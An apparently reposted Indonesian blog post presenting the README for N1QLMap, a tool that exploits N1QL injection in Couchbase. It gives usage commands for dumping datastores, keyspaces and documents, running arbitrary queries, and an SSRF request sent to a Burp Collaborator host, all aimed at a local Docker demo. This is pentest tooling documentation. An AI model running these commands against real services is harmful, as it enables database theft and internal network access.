Breaking

Wednesday, December 2, 2020

N1QLMap - Alat Mengeksfiltrasi Data Dari Database Couchbase Dengan Memanfaatkan Kerentanan Injeksi N1QL

 Kang IT

N1QLMap - Alat Mengeksfiltrasi Data Dari Database Couchbase Dengan Memanfaatkan Kerentanan Injeksi N1QL



N1QLMapadalah alat eksploitasi N1QL . Saat ini bekerja dengan database Couchbase. Alat ini mendukung ekstraksi data dan melakukan serangan SSRF melalui CURL. Informasi lebih lanjut dapat ditemukan di sini: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database .




Bantuan Penggunaan


usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host

positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net

optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, -- datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF


Pemakaian

  1. Masukkan permintaan HTTP ke request.txtfile. Tandai titik injeksi menggunakan *i*. Lihat example_request_1.txtfile untuk referensi.
  2. Gunakan salah satu perintah berikut.

Ekstrak datastores:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

Ekstrak ruang kunci dari ID datastore tertentu:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

Ekstrak semua dokumen dari ruang kunci yang diberikan:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

Jalankan kueri arbitrer:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

Lakukan permintaan CURL / SSRF:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"


Demo

Untuk bermain dengan kerentanan Anda dapat memutar mesin Docker dengan aplikasi web Couchbase dan NodeJS. Jika Anda sudah memenuhi Requirements, jalankan saja:

cd n1ql-demo
./quick_setup.sh

Sekarang, Anda dapat menjalankan perintah yang dijelaskan di Usagebagian terhadap aplikasi web Docker.


Persyaratan

N1QLMap.pyskrip tidak memerlukan persyaratan khusus selain Python 3.

Persyaratan berikut hanya untuk Demo yang tersedia di n1ql-demodirektori.

  • Buruh pelabuhan
  • Docker Compose

Untuk menginstal Docker dan Docker Compose di Kali:

# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# Start Docker Service
systemctl start docker

# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Mari kita uji Docker:

docker run hello-world




Regards

dr. Muhammad Sobri Maulana

No comments:

Post a Comment